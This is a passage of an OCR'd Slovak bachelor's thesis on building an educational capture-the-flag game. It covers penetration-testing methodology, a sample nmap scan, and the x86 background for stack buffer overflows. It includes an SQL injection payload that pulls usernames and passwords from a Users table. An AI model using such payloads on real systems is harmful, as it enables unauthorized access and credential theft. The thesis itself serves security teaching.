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ABSTRAKT

PredloZena bakalarska praca sa zaoberd problematikou penetracného testovania a etic-
kého hackovania s primarnym zameratim na binarnu exploitaciu. Hlavnym cieflom bolo
navrhn(t a implementovat hru zameran( na kombinaciu zneuzitia réznych typov zrani-
telnosti a prezentovat ich Studentom zrozumietelnou a zaroven zabavnou formou. Teore-
ticka Cast sa zobera problematikou penetraéného testovania a popisuje do hibky pouZité
zranitelnosti a technolégie, ktoré bolo potrebné na realizaciu kybernetickej hry pouzit.
Prakticka cCast sa venuje vlastnému navrhu a implementacii kybernetickej hry v pro-
stredi OpenStack a kybernetickej arény. Prakticka Cast dalej popisuje vyvoj zranitelnych
aplikacii a zamyslan metodolégiu a postup ich zneuzitia. Vzhladom na charakter hry
bolo nutné implementovat niekolko protekénych mechanizmov zabezpecujucich plynuly
priebeh kybernetickej hry, ktorych popis sa nachadza v praktckej Casti bakalarskej prace.
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ABSTRACT

This bachelor’s thesis presents matters of penetration testing and ethical hacking with
primary focus on binary exploitation. The main goal of this bachelor's thesis was to
design and implement a cyber game which focuses on combining various exploitation
techniques and presenting them in educative and engaging way. The theoretical part
of this thesis concentrates on penetration testing methodology and provides a detailed
analysis of a given vulnerability’'s mechanics and technologies that were crucial for the
game's development. Practical part of this thesis consists of a detailed description of the
game's design and implementation to OpenStack and cyber arena platforms. Addition-
ally, the practical part of this thesis focuses on development of vulnerable applications,
methodology and steps necessary for their successful exploitation. Due to the charac-
ter of cyber game, a few protection mechanisms were necessary to deploy, and their
description takes place in practical part of this bachelor's thesis as well.
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Uvod

Rychlost vyvoja informacnych technolégii kazdym rokom rapidne stipa. Implemen-
tacia aplikacii, protokolov a sluzieb je kazdym rokom komplikovanejsia a narocnejsia.
Komplexnost daného komponentu moze poskytnut uzivatelovi rozsiahlu funkciona-
litu, jednoduchu a bezstarostnii obsluhu, avsak skrytou nevyhodou je velky priestor
pre chyby vyvojarov, systémovych administratorov ¢i samotnych uzivatelov. Infor-
macna bezpecnost ma dve stranky a to technickd a Tudskd. V dnesnej dobe existuje
velké mnozstvo nastrojov, manualov a doporuceni, ktoré umoznuju kvalitné zabez-
pecenie systémov po technickej stranke. Na druhej strane, velké mnozstvo ludi tieto
nastroje, manualy a odporucania neimplementuje. Chybajica implementéacia bez-
pecnostnych prvkov moze pramenit z viacerych dovodov akymi st napr. nevedomost
¢i prosté ignorovanie problému kvoli technickej a ¢asovej naro¢nosti implementacie.
Castokrat je to prave Iudské stranka, ktorda umozni Gtoénikom tdspesni kompromi-
taciu cielového systému.

Tato bakalarska praca je zamerand na predstavenie metodolégie penetracného
testovanie a zneuzivania roznych zranitelnosti aplikacii formou kybernetickej hry
Capture The Flag (CTF), spojenou s pribehom, ktory studenta spreviadza danou
problematikou zabavnou formou.

V prvej kapitole bude predstavena metodologia penetracného testovania. Druha
kapitola predstavi jednotlivé zranitelnosti, ktoré sa na cielovych systémoch nacha-
dzaju a postupy ich odhalovania a zneuzitia. V tretej kapitole budu predstavené
technolégie, ktoré st nevyhnutné na realizaciu kybernetickej hry. Stvrta kapitola je
venovana vlastnému navrhu kybernetickej hry, kde je predstavena exploitacna cesta
a postupy, ktoré boli potrebné na jej vytvorenie.

Cielom tejto bakalarskej prace je navrhnit kybernetickd hru v oblasti penet-
racného testovania a priblizit principy bindrnej exploitacie zabavnou formou a pri-
padne studenta oboznamif s novymi technikami zneuzitia zranitelnosti a réznymi
postupmi, ktoré su neodlucitelnou stucastou penetracného testovania. Pokial sa Stu-
dent v urc¢itom kroku kybernetickej hry nebude schopny posunuf dalej, buda pre
neho dostupné napovede, ktorych pocet bude zavisly na obtiaznosti danej zranitel-

nosti.
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1 Penetracné testovanie

Penetracné testovanie je podmnozinou etického hackovania. Je to proces zahrnu-
juci mnozinu metdd a procedir, ktorych cielom je otestovat bezpecnost testovaného
systému. Hlavnym cielom penetracného testu je odhalit zranitelnosti v systéme da-
nej organizacie a overit, ¢i ich zneuzitie potencialnym tto¢nikom vedie k ziskaniu
neautorizovaného pristupu k aktivam spoloc¢nosti.

Mnohokrat je penetracné testovanie pomylené so skenovanim zranitelnosti. Me-
dzi tymito dvoma pojmami je v skutocnosti niekolko zavaznych rozdielov. Cielom
skenovania zranitelnosti je odhalit vSetky zranitelnosti skenovanej infrastruktary
a poskytnit o nich objednavatelovi zaverecnu spravu. Pri penetracnom testovani,
na rozdiel od skenovania zranitelnosti, je nutné uto¢nika simulovat a zistit, ¢i dana
zranitelnost skutocne vedie k ispesnej exploitaciil. Zavereéna sprava obsahuje po-
pis a postup exploitacie najdenych zranitelnosti.

Penetracné testovanie je pre spolocnosti velmi prospesné, nakolko kyberneticky
utok moéze velkym firmam priniest stratu miliénov ¢eskych kortn. Finanénd ujma
vsak nie je pre firmu jedinad hrozba. Pri tniku citlivych tdajov ako emaily, hesl4,
fotografie a pod. moze firma stratif dobru reputaciu a tak aj sucasnych a potencial-
nych zakaznikov v budicnosti. Mnoho vedeni firiem si tieto dopady neuvedomuje
resp. neprikladd im prilis velkt vahu a na zabezpecenie svojej firemnej infrastruktiry
nealokuje dostatocné zdroje. Medzi tieto firmy patria aj prvky kritickej infrastruk-
tiry Ceskej Republiky, organy zabezpetujice vyznamné siete a pod. Vldda preto
vytvorila zdkon o kybernetickej bezpecnosti, ktory stanovuje povinné subjekty a ich
povinnosti. Tieto subjekty musia spliiat ur¢ité standardy a vykonavat pravidelné au-
dity. Technoldgie sa stale vyvijaju a s nimi aj zruc¢nosti itocnikov, preto je nutné pe-
netracné testy vykonavat pravidelne. Informécie v tejto kapitole boli ¢erpané z knihy

FEthical hacking and penetration testing guide[1].

1.1 Kategorie penetracnych testov

Black box

Penetracny test s oznacenim black box je test, pri ktorom ma firma zabezpecu-
juca penetrac¢ny test malé alebo ziadne informécie o cielovom systéme. V pripade
penetracného testu siete nie st poskytnuté informécie o demilitarizovnej zé6ne?, ope-

racnych systémoch na pracovnych staniciach a serveroch, zdrojové koédy webovych

I Exploit4ciou sa rozumie tispesne zneuzitie danej zranitelnosti.
?Demilitarizovand zéna je fyzicka alebo logickd podsiet obsahujiica prvky, ktoré st vystavené

do nedoveryhodnej siete akou je napriklad Internet.
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aplikacii a podobne. Jedina vec, ktord je testerom poskytnuté je rozsah IP adries,
ktoré je potrebné otestovat. Tento scenar je najcastejsi pri vykonavani externého

penetracného testu.

White box

Penetracny test s oznacenim white box je test, ktory je presnym opakom testu black
boz. Informacie o vyuzivanych sluzbach, opera¢nych systémoch, aplikaciach a ich
verziach su pred zacatim penetacného testu testerom zname. V pripade webovej
aplikacie je dostupny zdojovy kdd, umoznujuici statickt a dynamicki analyzu. White

box testy su najcastejSie pri internom penetracnom testovani.

Grey box

Penetracny test s oznacenim grey boz je test, ktory je akousi kombinaciou white box
a black box testu, kedy su testerom predané len niektoré informéacie ako napr. nazov

sluzby ¢i aplikacie. Nie st dostupné informaécie o ich verziach a konfiguracii.

1.2 Typy penetracnych testov

Penetracny test siete

Pri siefovom penetracnom teste je hlavnou tlohou odhalit potencidlne zranitelnosti
a hrozby celej sietovej infrastruktiry. Tento druh penetracného testu je rozdeleny
do dvoch kategorii a to interny a externy penetracny test.

Pri externom penetracnom teste sii testované verejné IP adresy. Pocas interného
penetracného testu na rozdiel od externého st penetracni testeri sucastou inter-
nej siete ¢i uz prostrednictvom pristupu pomocou VPN alebo fyzickej pritomnosti

v priestoroch spoloc¢nosti, voci ktorej je penetracny test vykonavany.

Penetrac¢ny test webovej aplikacie

Penetracny test webovej aplikacie je velmi populdrnou podmnozinou penetracného
testovania, kedy jedinou objektivou testu je kompromitacia prave webovej aplika-
cie. Webové aplikacie casto pracuju s citlivymi idajmi ako napr. ¢isla kreditnych
kariet, uzivatelské menda a hesla a na ich uchovavanie a manipulaciu pouzivaju re-
lacné databazové systémy ako napr. MySQL. Pre prevadzkovatela je potrebné zaistit
dévernost uchovavanych informaécii a prave penetracny test webovej aplikacie moze

potencialne hrozby eliminovat.
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Penetra¢ny test mobilnej aplikacie

Podobne ako pri webovych aplikaciach, mobilné aplikacie ¢asto pracuju s citlivymi
udajmi a je v zdujme spolocnosti, ktora aplikdciu vyvija ich chranit. Aplikacia moze
byt urcena pre zakaznikov ale aj zamestnancov danej spolo¢nosti ¢o itoc¢nikom méoze

priniest dalsi priestor na ttok.

Socialne inZinierstvo

Socialne inzinierstvo je casto sucastou penetracného testu siete, kedy si objednava-
tel vyziada utoky na svojich zamestnancov. Tieto ttoky pouzivaju rozne techniky
psychologického ¢i technického charakteru ako napr. spear phishing alebo obycajny
rozhovor, pomocou ktorého obef zmanipuluju tak, aby prezradila informéacie bez

svojho vedomia.

Fyzicky penetracny test

Pri fyzickom penetra¢nom teste sa priamo testuje fyzické zabezpecCenie perimetra
strazeného objektu. Testuju sa prvky ako zadmky, biometrické ¢itacky, RFID karty
a rozne prvky poplachovych zabezpecovacich systémov. Hlavnou objektivou fyzic-
kého penetracného testu je prekonaf zabezpecenie perimetra a tak ziskat neautori-

zovany pristup k fyzickym aktivam spolocnosti.

1.3 Metodolégia

Penetracny test sa sklada z niekolkych casti nadvéizujicich na seba. V ramci pe-
netracného testu moézu byt dosiahnuté vsetky, avsak nie je to pravidlom, pretoze
cielovy systém moze byt dostatocne chraneny. Jednotlivé fazy penetracného testu
si v roznych literatirach uvadzané rozne, avsak konecny ciel je stale rovnaky. Jed-
notlivé fazy penetracného testu sa moézu pocas exploitacie niekolko krat zopakovat.
Medzi fazy penetracného testu mozu patrit nasledovné:

o Aktivny a pasivny zber informacii

o Enumeracia

o Ziskanie pristupu

o Post-exploitacna enumeracia

o Lateralny pohyb a eskalacia privilégii

o Perzistencia

o ZavereCna sprava
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1.3.1 Zber informacii

Pasivny zber informacii

Pasivny zber informécii, tiez zndmy ako Open-source Intelligence (OSINT), je pro-
ces zbierania verejne dostupnych informacii o cieli bez akejkolvek priamej interakcie
s cielovym systémom. Na zber informacii sa vyuzivaju napr. vyhladavacie sluzby
(Google, DuckDuckGo a pod.), socidlne média (Instagram, Facebook, LinkedIn
a pod.) a webové stranky cielenej spolocnosti. Tieto zdroje mozu poskytnit nie
len emailové adresy, doménové mend spolocnosti a pod. ale aj osobné informacie
o zamestnancoch ako ich zaluby a vztahy, ktoré mozu byt neskor vyuzité na vytvo-
renie psychologického profilu a najdenie tvz. ,lahkej koristi“ pre spear phishingovy?

titok a iné client-side* titoky.

Aktivny zber informacii

Aktivny zber informécii je proces zbierania informaécii, kedy dochadza k priame;j
interakcii s cielovym systémom. Jedné sa o zistovanie informacii o pouzitych ope-
racnych systémoch, otvorenych portoch a sluzbach, ktoré na nich bezia. Aktivny
zber informacii vsak zanechava v systéme svoju stopu a casto je Tahko detegovany
systémami ako IDS, IPS ¢i firewall.

Velkou sucastou aktivneho zberu informacii je skenovanie cielového systému.
Na skenovanie siete a zranitelnosti existuje celd rada nastrojov a medzi najznamej-
sie patria Nessus, Nmap ¢i Massscan. Hlavnou iilohou skenovania je odhalif otvorené
porty na cielovom zariadeni, identifikovat sluzby, domény, verzie aplikécii a ich kon-
figuraciu. Tieto akcie neskor vedd k identifikovaniu a vyhodnoteniu zranitelnosti

a naslednej exploitacii cielového systému.

3Spear phishingom sa rozumie titok na ¢loveka prostrednictvom emailovej komunikacie, kde
danej osobe pride email, v ktorom sa nachadza link alebo sibor so skodlivym kédom. Oproti
klasickému phishingu je tento ttok cieleny na konkrétnu osobu a dany skodlivy email je tvoreny
podla osobnostného profilu tejto osoby.

4(Client-side titokmi sa oznacuju tie ttoky, pri ktory je pre dspesni exploitdciu potrebnd priama
interakcia s osobou, voci ktorej je utok iniciovany. Moéze sa jednat napr. o dokument Microsoft
Word, ktory musi dand osoba otvorif pre spustenie skodlivého kédu.
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PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:

| Potentially risky methods: TRACE

| http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27

| http-title: Heed Solutions

135/tcp open msrpc Microsoft Windows RPC

443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:

| Potentially risky methods: TRACE

| http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27

| http-title: Heed Solutions

| ssl-cert: Subject: commonName=localhost

| Not valid before: 2009-11-10T23:48:47

| Not valid after: 2019-11-08T23:48:47

| ssl-date: TLS randomness does not represent time

| tls-alpn:

| http/1.1

445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| http-server-header: Microsoft-HTTPAPI/2.0

| http-title: Not Found

6379/tcp open redis Redis key-value store

Service Info: Host: ATOM; 0S: Windows; CPE: cpe:/o:microsoft:windows

Obr. 1.1: Vystup skenu nastroja nmap s pouzitim NSE

1.3.2 Ziskanie pristupu

Ziskanie inicidlneho pristupu je kritickym bodom penetracného testu, pretoze priamo
ukazuje, Ze najdena zranitelnost nie je len falo$ne pozitivnym nalezom, ale je sku-
toéne mozné ju zneuzit a vniknut tak do cielového systému. Od tohto momentu
v rdmci penetracného testu zacina byt tato problematika velmi komplexna. Aj ked
existujui postupy a automatizované testy, kazdy systém je jedinecny a je potrebny
manudalny postup. Nasleduju fazy ako post-exploitacna enumeracia, lateralny pohyb
a eskalacia privilégii, pretoze v moment ziskania pristupu boli odhalené dalsie in-
formacie o cielovom systéme, ktoré je potrebné vyhodnotit a pripadne pouzit pri

dalsich fazach penetracného testu.

1.3.3 Post-exploitacna enumeracia

Post-exploitacna enumeracia vyuziva nové privilégia k odhaleniu informacii, ktoré
do tejto fazy nebolo mozné nikde ziskat. Jedné sa o informécie ako napr. konfiguracia
sietovych adaptérov ¢i procesy a ich opravnenia, ktoré bezia na cielovom systéme.
Pritomnost sietového adaptéra do internej siete je informacia, ktora vedie k dalsiemu

skenovaniu vyuzitim technik ako napr. port forwarding.
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1.3.4 Laterdlny pohyb a eskalacia privilégii

Lateralny pohyb a eskaldcia privilégii st vo svojej podstate velmi podobné pro-
cesy. Pri oboch je hlavnou podstatou zneuzit novo ziskané informacie z fazy post-
exploitacnej enumeracie. Medzi najdolezitejsie informacie patria nasledovné:

o Konfiguracia siefovych adaptérov, firewallu ¢i SSH

o Politika hesiel

e Sudo opravnenia uzivatelov

e Procesy, ktoré bezia na cielovom systéme

« Planované tlohy

o Préava uzivatelov v suborovom systéme

« a mnoho dalsich

Lateralny pohyb

Lateralny pohyb je proces, kedy dochadza k zneuzitiu najdenych informacii v ramci
post-exploitacnej enumeracie. Jedna sa o informacie ako hesla v konfigura¢nych si-
boroch, databazach ¢i v cache webovych prehliadacoch a inych procesoch. Zneuzité
mozu byt aj sudo opravnenia v kontexte iného uzivatela na aktualnej pracovnej sta-
nici (nie root alebo administrator) na software, ktory umoznuje eskaldciu privilégii.
2

Jednou z podstatnych moznosti zneuzitia tychto informécii je moznost predstie-
rat svoju identitu a vydavat sa za osobu, ktorej prihlasovacie tidaje st v moci itoc-
nikov a prihlasit sa na int pracovnu stanicu v ramci internej siete. Tieto praktiky
su Casto sucastou penetracnych testov siefovych infrastruktir, ktoré implementuja

Active Directory.

Eskalacia privilégii

Eskalaciou privilégii sa rozumie proces, kedy dochadza ku kompromitacii uzivatel-
skych uctov s vysokymi privilégiami ako napr. administrdtor ¢i root na danej pracov-
nej stanici. Eskalacia privilégii na lokalnej stanici moze casto viest ku kompromitacii

celej infrastruktiry.
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2 Zranitelhosti implementované v kyberne-
tickej hre

2.1 SQL Injection

SQL Injection je jednym z castych vektorov utoku na systémy vyuzivajice rela¢né
databazové systémy. Zranitelnost je sposobena neosetrenym uzivatelskym vstupom,
ktory je vkladany do SQL prikazov a nasledne predany databaze na vykonanie.

Zranitelnost sa casto vyskytuje vo webovych ale aj desktopovych aplikaciach.

2.1.1 SQL

SQL databaza je vyhladavaci systém, fungujici na zaklade vybavovania jednotlivych
prikazov jazyka SQL, ktoré maju schopnost pridavat, mazat ¢i upravovat prvky v ta-
bulkéch databazy. Tabulky obsahujt riadky a stipce, ktoré obsahuja ddta, pripadne
ich identifikatory. Jazyk SQL pouziva niekolko prikazov na manipuldciu dat. Medzi
tieto prikazy patria nasledovné:

o« CREATE - Vytvori nova databazu, tabulku ¢i iny objekt v databdaze.

o ALTER - Modifikuje dant databédzu, tabulku ¢i iny objekt v databaze.

« DROP - Maze tabulku v databéze.

o SELECT - Vybera data z databazy.

o INSERT - Vklada data do databazy.

o UPDATE - Aktualizuje data v databaze.

« DELETE - Maze data v databaze.

K jednotlivym prikazom je mozné pridavat podmienky, na zaklade ktorych bude
databaza filtrovat najdené vysledky daného prikazu. Klucové slovo WHERE urcuje
podmienku, ktord musi byt pri vracani vysledkov z databazy splnena. Vypis 2.1
obsahuje ukazku SQL prikazu, ktory ma vratit cenu, material a dostupnost daného

nabytku na sklade. Vystup je filtrovany na zakladne ndzvu nébytku.[3][4]

SELECT price, material, avaliability
FROM Furniture
WHERE name=’Yellow desk’

Vypis 2.1: Filtrovanie vyberu prvkov z databazy

Je to prave klauzula WHERE, na ktort st ¢asto vedené utoky typu SQL injec-
tion. Uzivatelské vstupy z aplikacii si ¢asto vkladané do SQL prikazu z dévodu filtro-

vania vysledkov daného prikazu. Pri nedostatoénom osetreni uzivatelského vstupu
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moze dojst k dprave znenia prikazu a tutocénik mdze obist autentizaciu alebo exfil-
trovat data z tabuliek databazy.

2.1.2 Zneuzitie zranitelhosti

Zneuzitie zranitelnosti SQL injection spociva v zadani uzivatelského vstupu, ktory
obsahuje SQL syntax. Tato syntax sa pri spracovani uzivatelského vstupu vlozi
do SQL prikazu a zmeni jeho znenie. Ako priklad je mozné pouzit SQL prikaz
z vypisu 2.1 uvedeného vyssie s tym, ze ako meno nabytku bude zadany nasledujici

retazec.

> UNION SELECT username, password FROM Users #

Vypis 2.2: Nazov nabytku obsahujici SQL syntax

Meno nabytku ostava prazdne prave kvoli jednoduchému apostrofu na zaciatku
retazca. Prikazom UNION ttoc¢nik vyvara novy, nadvazujtci prikaz a na koniec itoc-
nikom zadaného retazca je vlozeny znak reprezentujici komentar v jazyku SQL!.
Znak komentéara zabezpeci, ze akykolvek prikaz nachadzajici sa za ttoénikom za-
danym retazcom, nebude brané do tivahy pri exektcii SQL prikazu. Celkové znenie

prikazu sa zmeni nasledovne. [5]

SELECT price,material,avaliability

FROM Furniture

WHERE name=’’

UNION SELECT username ,password FROM Users #

Obr. 2.1: Priklad zneuzitia zranitelnosti SQL injection

Utocnik je tymto spésobom schopny exfiltrovat data z tabuliek databdzy a pouzit
ich na dalsi utok. Druhov ttoku je niekolko a delia sa do nasledovnych kategorii:

o UNION based

« ERROR based

o TIME based

« BOOLEAN based [6]

Praktickd ukéazka zranitelnosti SQL injection bude demonstrovana v ramci pri-

slusnej tlohy kybernetickej hry v praktickej casti bakalarskej prace.

1Znak ,#“ je jeden z moznych oznacdeni zaciatku komentara a zavisi na konkrétnom SQL servery.
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2.2 Stack-based Buffer Overflow

Buffer overflow je zranitelnost, ktora umoznuje ttoénikovi zapisat Tubovolné déta
na zasobnik beziacej aplikacie, zmenit tok exekicie programu a vykonavat tak Iu-
bovolny kéd v kontexte aplikdcie, na ktoru utoci. Realizacia tohto utoku spociva
v poskytnuti Specidlne upraveného uzivatelského vstupu ttoc¢nikom, ktorého velkost
prekracuje velkost alokovaného bufferu programovej premennej pouzitej na uchova-
nie uzivatelom zadanej hodnoty do pamite procesu. Uto¢nik je schopny na zaklade
operacnych kdédov najst Specifickii assembly instrukciu, ktora presmeruje tok exeki-
cie programu na miesto v paméti procesu, kde sa nachadza jeho vlastny, skodlivy
kod.

2.2.1 Architektara Intel x86

Intel x86 je rodina architekttr inStrukénych sad procesorov zalozena na mikroproce-
sore Intel 8086. Jedna sa o 32 bitovy systém, kde vSetky registre, paméatové zbernice
a ddtové zbernice pracuji s hodnotami a adresami o dizke 32 bitov. 32 bitovéa archi-
tekttra prichddza s obmedzenim maximalnej adresovatelnej paméiti na 232 bitov ¢o
znamena maximalnu kapacitu pamate RAM 4 GB. Pri popise ttoku na zranitelnost
Buffer Overflow v nasledujicich kapitolach bude pouzita prave architektira x86. [7]

2.2.2 Operacna pamat procesu

Po spusteni binarneho siiboru, je Specialnym sposobom alokovand paméf v ramci
rozsahu adresného priestoru daného systému. Pamét je rozdelend na priestor pre
uzivatelsky rezim a na rezim jadra (kernel). V pripade, ze systém disponuje 4 GB

RAM budi napr. 3 GB k dispozicii pre uzivatelsky rezim a 1 GB pre kernel.

OxFFFFFFFFFF
Priestor pre Kernel
(1GB)
0xC0000000
OxBFFFFFFF
Priestor pre
uzivatelsky rezim
(3GB)
0x00000000

Obr. 2.2: Priklad rozloZenia adresného priestoru medzi uzivatelsky rezim a kernel
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Adresny priestor uzivatelského rezimu v priklade uvedenom na obrazku 2.2, za-
¢ina na adrese 0x00000000, kon¢i na OxBFFFFFFF a je vyuzivany uzivatelskymi
procesmi. Adresny priestor rezimu jadra zac¢ina na adrese 0xC0000000, kon¢i na ad-
rese OxXFFFFFFFF (najvyssia mozna adresa v 32 bitovom systéme) a je rezervovany

pre procesy, ktoré vyuziva jadro pre beh opera¢ného systému. [§]

2.2.3 Zasobnik

Pri behu programu jednotlivé vldkna spustaji kod zo samotného binarneho stboru
alebo z dynamicky linkovanej kniznice?. Vldkno pocas svojho behu potrebuje ur-
ity priestor pre rozne data, ktoré si sicastou behu daného programu. Medzi tieto
data patria parametre volanych funkcii, lokalne premenné a iné data zabezpecujice
spravny chod aplikacie. Cast adresného priestoru pamiéte, ktord sa alokuje prave pre
vyssie uvedené potreby programu sa nazyva zdsobnik.

Zasobnik je datova struktira typu Last In First Out (LIFO) a typicky sa naché-
dza vo vyssom adresnom priestore pod priestorom urcéenym pre kernel. V architek-
tire x86 zasobnik rastie smerom nadol do nizsich adries. Data, ktoré je potrebné
ulozif na zasobnik su vsunuté do zasobnika a mozu byt zo zasobnika odobrané. Data,
ktoré boli vsunuté do zasobnika ako posledné, budt zo zasobnika odobrané ako prvé.
Architektira x86 ma pre manipulaciu s hodnotami na zasobniku implementované
dedikované assembly instrukcie PUSH a POP[9)]

push Oxdeadbeef ; vlozi hodnotu Oxdeadbeef na zé&sobnik

pop eax ; register EAX ziska hodnotu Oxdeadbeef

Vypis 2.3: Ukazka assembly instrukcii PUSH a POP

Navrat toku exekiicie a stack frame

Pokial sa v danom vlakne volaju funkcie, tieto funkcie musia vediet adresu, na ktorta
je nutné sa po vykonani kédu funkcie vratit, aby bol zachovany tok exektucie progra-
mového kédu. Névratova hodnota spolu s parametrami volanej funkcie a lokalnymi
premennymi sa ukladaji na zasobnik. Tato kolekcia dat je asociovand len s jed-
nym volanim funkcie a cast zasobnika, kde sa tato kolekcia uklada sa nazyva stack
frame.[10]

2 Dynamically linked librariy v systémoch Windows a Shared Object v systémoch typu UNIX.
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Stack frame daného vlakna

Adresa navratu volanej funkcie: @x56556210
Parameter ¢. 1 volanej funkcie: 0x00000005
Parameter ¢. 2 volanej funkcie: 0x00000003
Parameter ¢. 3 volanej funkcie: 0x00002555

Obr. 2.3: Priklad stack frame

2.2.4 Jazyk Assembly, endianita a operacné kédy

Hlavnym cielom kapitoly Stack-based Buffer Overflow je predstavit zranitelnost Buf-
fer overflow, a sicasti mechanizmu exekucie binarnych stiborov, ktoré su pre utok
na tuto zranitelnost relevantné. Problematika jazyka assembly a exekicie binar-
nych stborov a ich rozbor do hibky, je nad rémec tejto bakalarskej prace, aviak pre

pochopenie mechanizmu zranitelnosti je urcita znalost tychto oblasti nevyhnutna.

Jazyk Assembly

Assembly je nizkodrovnovy programovaci jazyk, ktory bol navrhnuty pre priamu
pracu s hardvérom pocitaca. Kazda rodina procesorov ma definovani vlastni sadu
instrukcii, vykonavajicich pozadované tlohy. Nasledujuci text bude zamerany na ar-
chitektiru x86.[11]

Zakladna instrukéna sada architektary x86

Jazyk assembly pouziva obrovské mnozZstvo réznych instrukcii, preto budid v na-
sledujicom texte predstavené len tie, ktoré su (alebo by mohli byt) relevantné pri
procese zneuzivania zranitelnosti Buffer Overflow:[12]

e« MOV - skopirovanie hodnoty zo zdroja do destinécie

o PUSH - vloZenie hodnoty do zasobniku

e POP - odobranie hodnoty zo zasobniku a jej vlozenie do destinacie

e CMP - porovnavanie hodnot

e JMP - nepodmieneny skok na uré¢iti adresu

o CALL - zavolanie funkcie

e RET - navratovy mechanizmus funkcie

Operacné kody

Kazda assembly instrukcia je zlozena z operacného kédu a operandov, ktori do in-

strukcie vstupuji. Operacné kody s reprezentované mnemotechnickymi pomockami
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v podobe nazvu danej instrukcie ako napr. JMP, POP alebo PUSH. Operacné kody
si vsak pre pocitac reprezentované ¢islami v hexadecimélnej ststave, ktorych zna-
lost je potrebna pri vyhladavani konkrétnych instrukcii obsiahnutych v bindrnom
stibore, na ktory ttoc¢nik dtoci.[14]

Na zistenie hexadecimalnej reprezentacie jednotlivych operac¢nych kédov existuje
niekolko nastrojov ako napr. msf-nasm_shell, ktory je sucastou platformy Metasp-
loit Framework®. Obrazok 2.4 obsahuje vysledok pouZitia néstroja msf-nasm_shell

na ziskanie hexadecimélnej reprezentéacie roznych assembly instrukeii.

nasm > push esp
0ORORERO 54 push esp
nasm > pop edi
000EEEE0 5F pop edi

nasm > mov eax, ebx

000AEEEe 89D8 mov eax, ebx
nasm > jmp esp

0OROREORO FFE4 jmp esp
nasm > [

Obr. 2.4: Operacné kody assembly instrukcii v nastroji msf-nasm_shell

Endianita

Endianitou sa nazyva spésob ukladania a c¢itania dat v operac¢nej paméti pocitaca.
Existuju dva spdsoby vyjadrenia endianity a to Big Endian (BE) a Little Endian
(LE). Jednotlivé endianity sa lisia v poradi akym reprezentuju bajty dat.

o Big-endian (BE) - uklada vyssi bajt ako prvy

o Little-endian (LE) - uklada nizsi bajt ako prvy

Architektira Intel x86 pouziva endianitu Little- Endian. Znalost endianity archi-
tektury systému, na ktory utocnik iniciuje ttok je pre tspesnu exploitaciu nevy-

hnutna. Nasledujici obrazok vizualizuje rozdiel jednotlivych endianit.[13]

3Metasploit Framework: https://docs.rapid7.com/metasploit /msf-overview/
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0x100 0x101 0x102 0x103

N N U B O 2

Big-Endian

0x100 0x101 0x102 0x103

S 2 T O
Little-Endian

Obr. 2.5: Rozdiel medzi Little-Endian a Big-FEndian

2.2.5 Registre CPU

Pre dosiahnutie rychleho a efektivneho vykonavania programového kédu, CPU pou-
Ziva niekolko 32-bitovych registrov?. Registre si malé, extrémne rychle tiloZné pries-
tory, do ktorych pristupuje priamo procesor, ¢ita z nich data alebo dané data mo-
difikuje podla potrieb toku exekiicie programového kédu.

Kazdy register je priméarne Specializovany pre jednu ¢innost alebo operaciu, avsak
registre CPU s1 z vyssieho levelu abstrakcie rozdelené do niekolkych kategorii podla
ich funkcionality a tcelu:[15]

o Aritmetické registre

e Segmentové registre

o Register c¢itaca instrukcii

o Register FLAGS

o Kontrolné registre

o Debug registre

o Registre chraneného rezimu

Registre na vSeobecné pouzitie

Pre potreby utoku na zranitelnost Buffer Overflow je pre potreby tejto bakalarske
prace postacujica znalost registrov na vsSeobecné pouzitie a to z dovodu efektiv-
neho orientovania sa v debuggeri akym je napr. GDB®. Medzi tieto registre patria
nasledovné.[16]

o EAX - accumulator (stard sa o aritmetické a logické instrukcie)

4Velkost registrov je zavisld na pouzitej architektire. Velkost registrov 32-bit plati len pre
architektiru x86.
°The GNU Project Debugger (GDB): https://www.sourceware.org/gdb/
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o EBX - base register (ur¢eny pre adresiciu pamétového priestoru)

o ECX - counter (urceny pre pocitanie cyklov)

« EDX - data register (operacie 1/O, nadsobenie, delenie, je akymsi rozsirenim
registra EAX)

o ESI - source index (ukazovatel na zdroju dat pri string copy operaciach)

o EDI - destination index (ukazovatel na cielovii destindciu kopirovanych dét pri

string copy operaciach)

Ako ukézka prace s CPU registrami bude pouzité funkcia add Numbers() naprog-
ramovana v jazyku C.

int addNumbers (int a, int b)

{
int res = a + b;
return res;
}
Vypis 2.4: Ukazka funkcie séitajucej dve cisla v jazyku C
Finalne sc¢itanie dvoch ¢isel sa v assembly kdde vyjadri nasledovne.
0x56556201 <+16>: mov edx ,DWORD PTR [ebp+0x8]
0x56556204 <+19>: mov eax ,DWORD PTR [ebp+0xc]
0x56556207 <+22>: add eax , edx
0x56556209 <+24>: mov DWORD PTR [ebp-0x4],eax
0x5655620c <+27>: mov eax ,DWORD PTR [ebp-0x4]
0x5655620f <+30>: leave
0x56556210 <+31>: ret

Vypis 2.5: Ukazka casti funkcie séitajicej dve c¢isla v jazyku assembly

Z assembly kédu je mozné vidiet manipuldciu s registrami EAX a EDX, ktoré
maju na starosti prave aritmetické operacie. Do jednotlivych registrov sa vlozia pa-
rametre, ktoré boli funkcii addNumbers() predané (¢isla 5 a 3) a néasledne sa zavola
assembly instrukcia ADD, ktora vykona prislusni aritmetickd operaciu. Nasledujuci
obrazok reprezentuje stav registrov tesne pred sc¢itanim pri volani funkcie s para-
metrami addNumbers(5,3).
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- (Bx000006001

Obr. 2.6: Zobrazenie registrov eax a edx v nastroji GDB pri volani funkcie addNum-
bers(5, 3)

Stack pointer

Ako uz bolo uvedené vyssie, zasobnik je pouzivany napr. na ukladanie dat, ukazova-
telov a argumentov volanych funkcii. Zasobnik je dynamicky a konstantne sa meni
pocas celej exekiicie programu.

Stack pointer (register ESP) je Specidlny typ ukazovatela, ktory ukazuje na po-
sledni vlozent polozku na zasobniku, teda na jeho najvyssiu poziciu. V registri ESP
je ulozend adresa paméti pocitaca, na ktorej sa nachadza posledny pridany prvok a
teda vrchol zasobnika. Po vsunuti nového prvku na zasobnik, pribudne tento prvok
